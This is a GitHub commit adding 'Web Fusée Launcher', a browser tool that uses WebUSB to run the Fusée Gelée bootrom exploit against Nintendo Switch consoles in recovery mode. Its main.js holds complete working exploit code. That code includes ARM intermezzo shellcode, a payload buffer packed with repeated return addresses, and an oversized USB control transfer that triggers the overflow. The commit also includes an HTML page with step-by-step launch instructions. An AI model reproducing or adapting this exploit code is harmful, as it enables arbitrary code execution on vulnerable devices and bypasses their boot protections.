Add the code and stuff.

This commit is contained in:
atlas44 2018-04-27 15:54:46 -07:00 committed by GitHub
parent 2d89e547fd
commit dd79cac550
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
3 changed files with 2592 additions and 0 deletions

2392
fusee.bin.js Normal file

File diff suppressed because it is too large Load Diff

69
index.html Normal file
View File

@ -0,0 +1,69 @@
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>WebFG</title>
</head>
<body>
<h1>Web Fusée Launcher</h1>
<p>Fusee Launcher ported to JavaScript using WebUSB.</p>
<p>
Source can be found on <a href="https://github.com/atlas44/web-fusee-launcher">GitHub</a> (or by hitting view source, there is no backend!).
Ported from <a href="https://github.com/reswitched/fusee-launcher">fusee-launcher</a>.
Thanks to ktemkin and ReSwitched for Fusée Gelée and a ton of other things!
</p>
<p>
<h4>Instructions:</h4>
<ol>
<li>Put the Switch in RCM, and connect it to your device.</li>
<li>Select either the example payload, or upload one.</li>
<li>Press 'Do the thing!'</li>
<li>On the consent screen that appears, select 'APX' and hit confirm.</li>
<li>If all goes well, the payload will launch!</li>
</ol>
</p>
<p>
<h4>Random stuff:</h4>
<ul>
<li>This is pretty poorly tested. I just kind wrote it and whatever. I'm not responsible if anything goes wrong!</li>
<li>This does NOT work on Windows due to a limitation in the Chrome implementation of WebUSB (and probably other reasons!)</li>
<li>This does NOT currently work on any browser but Chrome, because they don't implement WebUSB.</li>
<li>On Linux, you might get an access denied error!
If you do, you can try creating a file at <code>/etc/udev/rules.d/50-switch.rules</code>
<div>With the following contents:</div>
<div><code>SUBSYSTEM=="usb", ATTR{idVendor}=="0955", MODE="0664", GROUP="plugdev"</code></div>
</li>
<li>This has been tested and appears to work on Linux, OSX, Android (unrooted) and Chromebooks. Your mileage may vary.</li>
</ul>
</p>
<h3>Payload:</h3>
<div>
<form id="mainForm">
<p>
<input type="radio" name="payload" id="fusee.bin" value="fusee.bin" checked>
<label for="fusee.bin">Example payload (fusee.bin)</label>
</p>
<p>
<input type="radio" name="payload" id="uploaded" value="uploaded">
<label for="uploaded">Upload payload:</label>
<input type="file" id="payloadUpload">
</p>
</form>
<button id="goButton">Do the thing!</button>
</div>
<h3>Result:</h3>
<textarea cols="80" rows="12" id="output"></textarea>
<script src="./fusee.bin.js"></script>
<script src="./main.js"></script>
</body>
</html>

131
main.js Normal file
View File

@ -0,0 +1,131 @@
const intermezzo = new Uint8Array([
0x44, 0x00, 0x9F, 0xE5, 0x01, 0x11, 0xA0, 0xE3, 0x40, 0x20, 0x9F, 0xE5, 0x00, 0x20, 0x42, 0xE0,
0x08, 0x00, 0x00, 0xEB, 0x01, 0x01, 0xA0, 0xE3, 0x10, 0xFF, 0x2F, 0xE1, 0x00, 0x00, 0xA0, 0xE1,
0x2C, 0x00, 0x9F, 0xE5, 0x2C, 0x10, 0x9F, 0xE5, 0x02, 0x28, 0xA0, 0xE3, 0x01, 0x00, 0x00, 0xEB,
0x20, 0x00, 0x9F, 0xE5, 0x10, 0xFF, 0x2F, 0xE1, 0x04, 0x30, 0x90, 0xE4, 0x04, 0x30, 0x81, 0xE4,
0x04, 0x20, 0x52, 0xE2, 0xFB, 0xFF, 0xFF, 0x1A, 0x1E, 0xFF, 0x2F, 0xE1, 0x20, 0xF0, 0x01, 0x40,
0x5C, 0xF0, 0x01, 0x40, 0x00, 0x00, 0x02, 0x40, 0x00, 0x00, 0x01, 0x40
]);
const RCM_PAYLOAD_ADDRESS = 0x40010000;
const INTERMEZZO_LOCATION = 0x4001F000;
const PAYLOAD_LOAD_BLOCK = 0x40020000;
function createRCMPayload(intermezzo, payload) {
const rcmLength = 0x30298;
const intermezzoAddressRepeatCount = (INTERMEZZO_LOCATION - RCM_PAYLOAD_ADDRESS) / 4;
const rcmPayloadSize = Math.ceil((0x2A8 + (0x4 * intermezzoAddressRepeatCount) + 0x1000 + payload.byteLength) / 0x1000) * 0x1000;
const rcmPayload = new Uint8Array(new ArrayBuffer(rcmPayloadSize))
const rcmPayloadView = new DataView(rcmPayload.buffer);
rcmPayloadView.setUint32(0x0, rcmLength, true);
for (let i = 0; i < intermezzoAddressRepeatCount; i++) {
rcmPayloadView.setUint32(0x2A8 + i * 4, INTERMEZZO_LOCATION, true);
}
rcmPayload.set(intermezzo, 0x2A8 + (0x4 * intermezzoAddressRepeatCount));
rcmPayload.set(payload, 0x2A8 + (0x4 * intermezzoAddressRepeatCount) + 0x1000);
return rcmPayload;
}
function bufferToHex(data) {
let result = "";
for (let i = 0; i < data.byteLength; i++)
result += data.getUint8(i).toString(16).padStart(2, "0");
return result;
}
async function write(device, data) {
let length = data.length;
let writeCount = 0;
const packetSize = 0x1000;
while (length) {
const dataToTransmit = Math.min(length, packetSize);
length -= dataToTransmit;
const chunk = data.slice(0, dataToTransmit);
data = data.slice(dataToTransmit);
await device.transferOut(1, chunk);
writeCount++;
}
return writeCount;
}
function readFileAsArrayBuffer(file) {
return new Promise((res, rej) => {
const reader = new FileReader();
reader.onload = e => {
res(e.target.result);
}
reader.readAsArrayBuffer(file);
});
}
function logOutput(...message) {
document.getElementById("output").value += message.join(" ") + "\n";
}
async function launchPayload(payload) {
logOutput("Requesting access to device...");
device = await navigator.usb.requestDevice({ filters: [{ vendorId: 0x0955 }] });
await device.open();
logOutput(`Connected to ${device.manufacturerName} ${device.productName}`);
await device.claimInterface(0);
const deviceID = await device.transferIn(1, 16);
logOutput(`Device ID: ${bufferToHex(deviceID.data)}`);
const rcmPayload = createRCMPayload(intermezzo, payload);
logOutput("Sending payload...");
const writeCount = await write(device, rcmPayload);
logOutput("Payload sent!");
if (writeCount % 2 !== 1) {
logOutput("Switching to higher buffer...");
await device.transferOut(1, new ArrayBuffer(0x1000));
}
logOutput("Trigging vulnerability...");
const vulnerabilityLength = 0x7000;
const smash = await device.controlTransferIn({
requestType: 'standard',
recipient: 'interface',
request: 0x00,
value: 0x00,
index: 0x00
}, vulnerabilityLength);
}
document.getElementById("goButton").addEventListener("click", async () => {
const payloadType = document.forms.mainForm.payload.value;
logOutput(`Preparing to launch ${payloadType}...`);
let payload;
if (payloadType === "fusee.bin") {
payload = fusee;
} else if (payloadType === "uploaded") {
const file = document.getElementById("payloadUpload").files[0];
if (!file) {
alert("You need to upload a file, to use an uploaded file.");
return;
}
payload = new Uint8Array(await readFileAsArrayBuffer(file));
} else {
console.log("how?");
return;
}
launchPayload(payload);
});
document.getElementById("payloadUpload").addEventListener("change", () => document.forms.mainForm.payload.value = "uploaded");